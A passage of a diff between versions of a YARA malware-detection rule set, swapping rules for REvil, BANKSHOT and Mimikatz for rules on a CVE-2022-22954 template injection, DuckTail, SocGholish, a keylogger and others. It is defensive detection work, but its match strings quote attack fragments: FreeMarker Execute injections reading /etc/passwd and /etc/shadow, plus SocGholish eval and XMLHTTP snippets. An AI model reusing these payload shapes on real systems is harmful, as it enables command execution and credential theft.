+		logic_hash = "2fb23bfc28140f818b9fc630b0c1bf0c70a8f4f85b9516cefe2ff26a9de6516c"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		tlp = "white"
+		tags = "CVE-2022-22954"
 
 	strings:
-		$ntdll_load = {55 8b ec 81 ec d0 08 00 00 53 56 57 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 33 c0 b9 18 01 00 00 f3 ?? 68 02 9f e6 6a e8 ?? ?? ?? ?? 8b d8 68 40 5e c0 84 89 ?? ?? e8 ?? ?? ?? ?? 6a 00 8b f0 68 0b 1c 64 72 53 89 ?? ?? e8 ?? ?? ?? ?? 83 c4 14 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 68 30 02 00 00 51 ff d0 6a 6e 58 6a 74 66 ?? ?? ?? ?? ?? ?? 58 6a 64 59 6a 6c 66 ?? ?? ?? ?? ?? ?? 58 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 33 c0 6a 2e}
-		$call_func = {81 ec bc 00 00 00 8d ?? ?? 56 50 6a 00 6a 01 ff ?? ?? e8 ?? ?? ?? ?? 8b f0 83 c4 10 85 f6 0f ?? ?? ?? ?? ?? 33 c9 89 ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 8b ?? ?? 53 57 8b ?? ?? 8d ?? ?? 0f ?? ?? ?? 8b ?? ?? 8d ?? ?? 8b ?? ?? 03 fa 8b df 2b da 03 ?? ?? 80 ?? ?? 0f ?? ?? ?? ?? ?? 83 ?? ?? ?? 8b c7 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 99 89 ?? ?? 8b ca 89 ?? ?? 8d ?? ?? 99 89 ?? ?? 89 ?? ?? 8d ?? ?? 89 ?? ?? 89 ?? ?? 8b ca 99 89 ?? ?? 89 ?? ?? 8b ca 89 ?? ?? 89 ?? ?? 8d ?? ?? 6a 40 89 ?? ??}
-		$cryp_hex = {8b ec 8b ?? ?? 25 55 55 55 55 d1 e0 8b ?? ?? d1 e9 81 e1 55 55 55 55 0b c1 89 ?? ?? 8b ?? ?? 81 e2 33 33 33 33 c1 e2 02 8b ?? ?? c1 e8 02 25 33 33 33 33 0b d0 89 ?? ?? 8b ?? ?? 81 e1 0f 0f 0f 0f c1 e1 04 8b ?? ?? c1 ea 04 81 e2 0f 0f 0f 0f 0b ca 89 ?? ?? 8b ?? ?? c1 e0 18 8b ?? ?? 81 e1 00 ff 00 00 c1 e1 08 0b c1 8b ?? ?? c1 ea 08 81 e2 00 ff 00 00 0b c2 8b ?? ?? c1 e9 18 0b c1 89 ?? ?? 8b ?? ?? 5d c3}
+		$x1 = "66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28" ascii
+		$x2 = "${\"freemarker.template.utility.Execute\"?new()("
+		$x3 = "cat /etc/passwd\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute"
+		$x4 = "cat /etc/passwd\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute"
+		$x5 = "cat /etc/shadow\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute"
+		$x6 = "cat /etc/shadow\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute"
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them or all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_Revil_Kaseya_Jul21_1 : FILE
+rule SIGNATURE_BASE_MAL_Compromised_Cert_Ducktail_Stealer_Jun23 : FILE
 {
 	meta:
-		description = "Detects malware used in the Kaseya supply chain attack"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7356f4ea-183f-52ec-a167-fc16b8bfb55a"
-		date = "2021-07-02"
-		modified = "2023-12-05"
-		reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_revil_general.yar#L3-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a7f9fa8f8e8a3a25728aa6a334924e0b4075f3422df6b92a2f544bb0ebb6bfad"
-		score = 75
+		description = "Detects binaries signed with compromised certificates used by DuckTail stealer - identified in June 2023"
+		author = "dr4k0nia"
+		id = "b491e1b6-42c4-58e9-8efa-19e697804f96"
+		date = "2023-06-16"
+		modified = "2023-08-12"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_ducktail_compromised_certs_jun23.yar#L2-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9b7916700359d662e99003727f5293f5a937254ff265c3bc8bb8763e196daa0e"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e"
-		hash2 = "aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7"
-		hash3 = "dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f"
-		hash4 = "df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e"
+		hash1 = "17c75f2d14af9f00822fc1dba00ccc9ec71fc50962e196d7e6f193f4b2ee0183"
+		hash2 = "b3cfdb442772d07a7f037b0bb093ba315dfd1e79b0e292736c52097355495270"
+		hash3 = "9afe013cae0167993a6a7ccd650eb1221a5ec163110565eb3a49a8b57949d4ee"
 
 	strings:
-		$s1 = "Mpsvc.dll" wide fullword
-		$s2 = ":0:4:8:<:@:D:H:L:P:T:X:\\:`:d:h:l:p:t:x:H<L<P<\\<`<" ascii fullword
-		$op1 = { 40 87 01 c3 6a 08 68 f8 0e 41 00 e8 ae db ff ff be 80 25 41 00 39 35 ?? 32 41 00 }
-		$op2 = { 8b 40 04 2b c2 c1 f8 02 3b c8 0f 84 56 ff ff ff 68 15 50 40 00 2b c1 6a 04 }
-		$op3 = { 74 73 db e2 e8 ad 07 00 00 68 60 1a 40 00 e8 8f 04 00 00 e8 3a 05 00 00 50 e8 25 26 00 00 }
-		$op4 = { 75 05 8b 45 fc eb 4c c7 45 f8 00 00 00 00 6a 00 8d 45 f0 50 8b 4d 0c }
-		$op5 = { 83 7d 0c 00 75 05 8b 45 fc eb 76 6a 00 68 80 00 00 00 6a 01 6a 00 }
+		$sx1 = "AZM MARKETING COMPANY LIMITED" ascii fullword
+		$sx2 = "CONG TY TNHH" ascii
+		$sx3 = {43 C3 94 4E 47 20 54 59 20 54 4E 48 48 20}
+		$sx4 = "CONG TY TRACH" ascii
+		$se1 = {65 78 BE 85 2D 48 E3 3D 4E 48 B8 D4 73 F5 B7 60}
+		$se2 = {1D 53 38 32 74 2B 58 37 87 C0 A2 53 32 F7 FB 06}
+		$se3 = {00 BD 7B 85 B2 6A 69 C9 7D 6D 68 CC 95 67 34 C0 6B}
+		$se4 = {06 5F 5C 57 0B D6 A7 98 92 FB B0 E6 34 61 3A 4D}
+		$se5 = {41 55 3F 07 13 37 11 7A 99 B4 58 57}
+		$se6 = {1E AA E4 CE E7 EE 89 FB 20 32 59 27 88 13 D8 53}
+		$se7 = {56 DC DB 85 D4 89 F9 87 B2 D6 76 72}
+		$se8 = {2D A4 50 57 C2 74 3C 1A 3C A4 93 7A}
+		$se9 = {37 AE 95 F5 4C 8E 9B D0 B6 47 68 6A}
+		$se10 = {3D C8 F5 3B 62 7A 34 07 AC 7E 01 00 13 87 A3 B3}
+		$se11 = {01 C9 87 5A 5F A8 59 68 6D 34 17 C9}
+		$se12 = {1B 35 19 E1 CD C2 6B 57 DA EE 06 C9}
+		$se13 = {79 7D 0B 5E 22 AA 0F C7 A2 97 E6 48}
+		$se14 = {57 9E 5C 89 B0 85 A7 96 B3 3C F3 19}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="c36dcd2277c4a707a1a645d0f727542a" or 2 of them )
+		uint16(0)==0x5a4d and 1 of ($sx*) and 1 of ($se*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_MAL_Revil_Kaseya_Jul21_2 : FILE
+rule SIGNATURE_BASE_MAL_ZIP_Socgholish_Mar21_1 : ZIP JS SOCGHOLISH FILE
 {
 	meta:
-		description = "Detects malware used in the Kaseya supply chain attack"
-		author = "Florian Roth (Nextron Systems)"
-		id = "38b168d4-e761-544e-9859-eb155bbfe54a"
-		date = "2021-07-02"
+		description = "Triggers on small zip files with typical SocGholish JS files in it"
+		author = "Nils Kuhnert"
+		id = "da35eefd-b34d-59cd-8afc-da9c78ace96e"
+		date = "2021-03-29"
 		modified = "2023-12-05"
-		reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_revil_general.yar#L32-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "44948d93c71370a9976f22bf78cd1af80359f2c9804ea7995791109785cfaf84"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_socgholish.yar#L1-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4f6566c145be5046b6be6a43c64d0acae38cada5eb49b2f73135b3ac3d6ba770"
+		hash = "54f756fbf8c20c76af7c9f538ff861690800c622d1c9db26eb3afedc50835b09"
+		hash = "dfdbec1846b74238ba3cfb8c7580c64a0fa8b14b6ed2b0e0e951cc6a9202dd8d"
+		logic_hash = "6621b029f65720e468bd167fcd7429a1f7ba8975298ddbd913b13fbe9e117df2"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		hash1 = "0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402"
-		hash2 = "8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd"
-		hash3 = "cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6"
-		hash4 = "d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f"
-		hash5 = "d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20"
-		hash6 = "e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2"
+		quality = 60
+		tags = "ZIP, JS, SOCGHOLISH, FILE"
 
 	strings:
-		$opa1 = { 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 }
-		$opa2 = { 89 45 f0 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 }
-		$opa3 = { 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 0f b6 14 01 }
-		$opa4 = { 89 45 f4 8b 0d ?? ?0 07 10 89 4d f8 8b 15 ?? ?1 07 10 89 55 fc ff 75 fc ff 75 f8 ff 55 f4 }
-		$opb1 = { 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc cc }
-		$opb2 = { 18 00 10 0e 19 00 10 cc cc cc cc 8b 44 24 04 }
-		$opb3 = { 10 c4 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc }
+		$a1 = /\.[a-z0-9]{6}\.js/ ascii
+		$a2 = "Chrome" ascii
+		$a3 = "Opera" ascii
+		$b1 = "Firefox.js" ascii
+		$b2 = "Edge.js" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (2 of ($opa*) or 3 of them )
+		uint16(0)==0x4b50 and filesize <1600 and (2 of ($a*) or any of ($b*))
 }
-rule SIGNATURE_BASE_Hiddencobra_BANKSHOT_Gen : FILE
+rule SIGNATURE_BASE_EXT_MAL_JS_Socgholish_Mar21_1 : JS SOCGHOLISH FILE
 {
 	meta:
-		description = "Detects Hidden Cobra BANKSHOT trojan"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fbf9dd32-cb9a-51f2-bd03-0387fbf44baa"
-		date = "2017-12-26"
-		modified = "2022-06-10"
-		reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hiddencobra_bankshot.yar#L11-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "db4d396736ab42942f1a11a819419410e388b011e8992ad187c2f484d637c99c"
+		description = "Triggers on SocGholish JS files"
+		author = "Nils Kuhnert"
+		id = "3ed7d2da-569b-5851-a821-4a3cda3e13ce"
+		date = "2021-03-29"
+		modified = "2023-01-02"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_socgholish.yar#L25-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7ccbdcde5a9b30f8b2b866a5ca173063dec7bc92034e7cf10e3eebff017f3c23"
+		hash = "f6d738baea6802cbbb3ae63b39bf65fbd641a1f0d2f0c819a8c56f677b97bed1"
+		hash = "c7372ffaf831ad963c0a9348beeaadb5e814ceeb878a0cc7709473343d63a51c"
+		logic_hash = "08218ae952577a6ac936de875236cdc3ae32e3aaccd2196b7f43e80d7e748584"
 		score = 75
-		quality = 83
-		tags = "FILE"
-		hash1 = "89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486"
-		hash2 = "8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247"
-		hash3 = "b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24"
-		hash4 = "daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75"
-		hash5 = "ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699"
-		hash6 = "d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff"
-		hash7 = "ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9"
-		hash8 = "3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6"
-		hash9 = "6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca"
+		quality = 85
+		tags = "JS, SOCGHOLISH, FILE"
 
 	strings:
-		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword wide
-		$s2 = "rHTTP/1.1 200 Connection established" fullword wide
-		$s3 = "Proxy-Connection: keep-alive" fullword wide
-		$s4 = "\\msncf.dat" wide
-		$s5 = "msvcru32.bat" fullword ascii
-		$s6 = "reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"%s\" /f" fullword ascii
-		$s7 = "MXINFO.DLL" fullword ascii
-		$s8 = "usrvc32.bat" fullword ascii
-		$s9 = "ping -n 1 127.0.0.1" fullword ascii
-		$s10 = "%sd.e%sc \"%s > %s 2>&1\"" ascii fullword
-		$s11 = "DWS*.tmp" ascii fullword
-		$s12 = "CS*.tmp" fullword wide
-		$s13 = "WM*.tmp" fullword wide
-		$x1 = "CgpaipIddwspwe32Hnaehsdi" fullword ascii
-		$x2 = "RpiPmtiCdopIsgpao" fullword ascii
-		$x3 = "RpiLtnodlhOtgpcidgyA" fullword ascii
-		$x4 = "LatiQdgHtnrwpDbupci" fullword ascii
-		$x6 = "\\system32\\msncf.dat" ascii
-		$x7 = "GprthipgHpgktcpCigwSanowpgA" fullword ascii
-		$a1 = "live.dropbox.com" fullword ascii
-		$a2 = "tatadocomo.yahoo.com" fullword ascii
-		$a3 = "widgets.twimg.com" fullword ascii
-		$a4 = "history.paypal.com" fullword ascii
-		$a5 = "www.bitcoin.org" fullword ascii
-		$a6 = "web.whatsapp.com" fullword ascii
+		$s1 = "new ActiveXObject('Scripting.FileSystemObject');" ascii
+		$s2 = "['DeleteFile']" ascii
+		$s3 = "['WScript']['ScriptFullName']" ascii
+		$s4 = "['WScript']['Sleep'](1000)" ascii
+		$s5 = "new ActiveXObject('MSXML2.XMLHTTP')" ascii
+		$s6 = "this['eval']" ascii
+		$s7 = "String['fromCharCode']"
+		$s8 = "2), 16)," ascii
+		$s9 = "= 103," ascii
+		$s10 = "'00000000'" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) or 2 of ($s*) or 4 of ($a*))
+		filesize >3KB and filesize <5KB and 8 of ($s*)
 }
-rule SIGNATURE_BASE_Unauthorized_Proxy_Server_RAT
+rule SIGNATURE_BASE_Socgholish_JS_22_02_2022 : FILE
 {
 	meta:
-		description = "Detects Proxy Server RAT"
-		author = "US-CERT Code Analysis Team"
-		id = "378573e3-17a7-5862-aae5-a8e84102e237"
-		date = "2023-12-05"
+		description = "Detects SocGholish fake update Javascript files 22.02.2022"
+		author = "Wojciech Cieślak"
+		id = "68d2dbb7-0079-527a-92c7-450c3dd953b3"
+		date = "2022-02-22"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hiddencobra_bankshot.yar#L67-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ede26272ddcb25dca2b44ff08b232f358078872f6cf76491b0fd8d65772c60d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_socgholish.yar#L53-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3e14d04da9cc38f371961f6115f37c30"
+		hash = "dffa20158dcc110366f939bd137515c3"
+		hash = "afee3af324951b1840c789540d5c8bff"
+		hash = "c04a1625efec27fb6bbef9c66ca8372b"
+		hash = "d08a2350df5abbd8fd530cff8339373e"
+		logic_hash = "fd529cbb511ff6bcf37b44b835e021b28763922f7726ff67db5cbb3f9193c7ae"
 		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "C74E289AD927E81D2A1A56BC73E394AB"
-		hash2 = "2950E3741D7AF69E0CA0C5013ABC4209"
+		tags = "FILE"
 
 	strings:
-		$s0 = {8A043132C288043125FF00000003C299F73D40404900A14440490003D0413BCF72DE5E5FC3}
-		$s1 = {8A04318844241432C28804318B44241425FF00000003C299F73D40404900A14440490003D0413BCF72D65E5FC3}
-		$s2 = {8A04318844241432C28804318B44241425FF00000003C299F73D5C394100A16039410003D0413BCF72D65E5FC3}
-		$s3 = {8A043132C288043125FF00000003C299F73D5C394100A16039410003D0413BCF72DE5E5FC3}
-		$s4 = {B91A7900008A140780F29A8810404975F4}
-		$s5 = {399FE192769F839DCE9F2A9D2C9EAD9CEB9FD19CA59F7E9F539CEF9F029F969C6C9E5C9D949FC99F}
-		$s6 = {8A04318844241432C28804318B44241425FF00000003C299F73D40600910A14460091003D0413BCF72D65E5FC3}
-		$s7 = {3C5C75208A41014184C074183C72740C3C7474083C6274043C2275088A41014184C075DC}
-		$s8 = {8B063D9534120077353D59341200722E668B4604663DE8037F24}
-		$s9 = {8BC88B74241CC1E1052BC88B7C2418C1E1048B5C241403C88D04888B4C242083F9018944240C7523}
-		$s10 = {8B063D9034120077353D59341200722E668B4604663DE8037F246685C0}
-		$s11 = {30110FB60148FFC102C20FBEC09941F7F94103D249FFC875E7}
-		$s12 = {448BE8B84FECC44E41F7EDC1FA038BCAC1E91F03D16BD21A442BEA4183C541}
-		$s13 = {8A0A80F9627C2380F9797F1E80F9647C0A80F96D7F0580C10BEB0D80F96F7C0A80F9787F05}
+		$s1 = "encodeURIComponent(''+" ascii
+		$s2 = "['open']('POST'," ascii
+		$s3 = "new ActiveXObject('MSXML2.XMLHTTP');" ascii
 
 	condition:
-		any of them
+		filesize <5KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_ELF_LNX_UPX_Compressed_File : FILE
+rule SIGNATURE_BASE_Rocketkitten_Keylogger : FILE
 {
 	meta:
-		description = "Detects a suspicious ELF binary with UPX compression"
+		description = "Detects Keylogger used in Rocket Kitten APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "078937de-59b3-538e-a5c3-57f4e6050212"
-		date = "2018-12-12"
+		id = "558341db-a30d-586e-8efc-0fff1d8f94a1"
+		date = "2015-09-01"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_elf_file_anomalies.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d310de1ab68bd6da9ae057c7edea0d6b24d408f85ec40c2306f1ac8a2bc2f55"
-		score = 40
+		reference = "https://goo.gl/SjQhlp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rocketkitten_keylogger.yar#L8-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8523a50075c6ee9675d37d870da55d9e6193bbc770f6b916e700ab9aad438cc"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1c9e519dca0468a87322bebe2a06741136de7969a4eb3efda0ab8db83f0807b4"
+		hash2 = "495a15f9f30d6f6096a97c2bd8cc5edd4d78569b8d541b1d5a64169f8109bc5b"
 
 	strings:
-		$s1 = "PROT_EXEC|PROT_WRITE failed." fullword ascii
-		$s2 = "$Id: UPX" fullword ascii
-		$s3 = "$Info: This file is packed with the UPX executable packer" ascii
-		$fp1 = "check your UCL installation !"
+		$x1 = "\\Release\\CWoolger.pdb" ascii
+		$x2 = "WoolenLoger\\obj\\x86\\Release" ascii
+		$x3 = "D:\\Yaser Logers\\"
+		$z1 = "woolger" fullword wide
+		$s1 = "oShellLink.TargetPath = \"" fullword ascii
+		$s2 = "wscript.exe " fullword ascii
+		$s3 = "strSTUP = WshShell.SpecialFolders(\"Startup\")" fullword ascii
+		$s4 = "[CapsLock]" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <2000KB and filesize >30KB and 2 of ($s*) and not 1 of ($fp*)
+		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or ($z1 and 2 of ($s*)))) or ($z1 and all of ($s*))
 }
-rule SIGNATURE_BASE_Sysinternals_Tool_Anomaly : FILE
+rule SIGNATURE_BASE_Malware_Floxif_Mpsvc_Dll : HIGHVOL FILE
 {
 	meta:
-		description = "SysInternals Tool Anomaly - does not contain Mark Russinovich as author"
+		description = "Malware - Floxif"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b676726b-7ecd-52ed-bdec-3d81b7596246"
-		date = "2016-12-06"
+		id = "37af366a-24b2-5402-b0b5-6e2c80f8c903"
+		date = "2017-04-07"
 		modified = "2023-12-05"
 		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_sysinternals_anomaly.yar#L10-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "760795a51965197bd101ffbf0f7c8cfbbb16d2f443d0941de4a75c8f33f4cad0"
-		score = 50
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_floxif.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e51258558dfd9a2c65589100a224492f4582067484c99d405b2d432a48cc6ed8"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "HIGHVOL, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1e654ee1c4736f4ccb8b5b7aa604782cfb584068df4d9e006de8009e60ab5a14"
 
 	strings:
-		$s1 = "Software\\Sysinternals\\%s" fullword ascii
-		$n1 = "Mark Russinovich" wide ascii
-		$nfp1 = "<<<Obsolete>>>" fullword wide
-		$nfp2 = "BGInfo - Wallpaper text configurator" wide
-		$nfp3 = "usage: movefile [source] [dest]" wide
-		$nfp4 = "LoadOrder information has been copied" wide
-		$nfp5 = "Cache working set cleared" wide
+		$op1 = { 04 80 7a 03 01 75 04 8d 42 04 c3 8d 42 04 53 8b }
+		$op2 = { 88 19 74 03 41 eb ea c6 42 03 01 5b c3 8b 4c 24 }
+		$op3 = { ff 03 8d 00 f9 ff ff 88 01 eb a1 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and $s1 and not $n1 and not 1 of ($nfp*))
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_Powerkatz_DLL_Generic : FILE
+rule SIGNATURE_BASE_SUSP_LNK_Big_Link_File : FILE
 {
 	meta:
-		description = "Detects Powerkatz - a Mimikatz version prepared to run in memory via Powershell (overlap with other Mimikatz versions is possible)"
+		description = "Detects a suspiciously big LNK file - maybe with embedded content"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7464f8a1-9f45-580b-8a97-a57071092e3c"
-		date = "2016-02-05"
+		id = "e130f213-53fc-56d6-b1d5-0508a7e18e61"
+		date = "2018-05-15"
 		modified = "2023-12-05"
-		reference = "PowerKatz Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powerkatz.yar#L9-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "979cdb42b54a26960b3173d5ea6abcc5fa61bef57f98b09e55eb4c75f1040a40"
-		score = 80
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_lnk.yar#L2-L12"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6e44483583249939494e76f14b022e698ba59dfe8b58133a69135144ef60c743"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae"
-		hash2 = "1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0"
-		hash3 = "49e7bac7e0db87bf3f0185e9cf51f2539dbc11384fefced465230c4e5bce0872"
-
-	strings:
-		$s1 = "%3u - Directory '%s' (*.kirbi)" fullword wide
-		$s2 = "%*s  pPublicKey         : " fullword wide
-		$s4 = "<3 eo.oe ~ ANSSI E>" fullword wide
-		$s5 = "\\*.kirbi" wide
-		$c1 = "kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" fullword wide
-		$c2 = "kuhl_m_lsadump_getComputerAndSyskey ; kuhl_m_lsadump_getSyskey KO" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 1 of them ) or 2 of them
+		uint16(0)==0x004c and uint32(4)==0x00021401 and filesize >200KB
 }
-rule SIGNATURE_BASE_XMRIG_Monero_Miner : HIGHVOL FILE
+rule SIGNATURE_BASE_Gen_Base64_EXE : HIGHVOL FILE
 {
 	meta:
-		description = "Detects Monero mining software"
+		description = "Detects Base64 encoded Executable in Executable"
 		author = "Florian Roth (Nextron Systems)"
-		id = "71bf1b9c-c806-5737-83a9-d6013872b11d"
-		date = "2018-01-04"
-		modified = "2022-11-10"
-		reference = "https://github.com/xmrig/xmrig/releases"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pua_xmrig_monero_miner.yar#L11-L33"
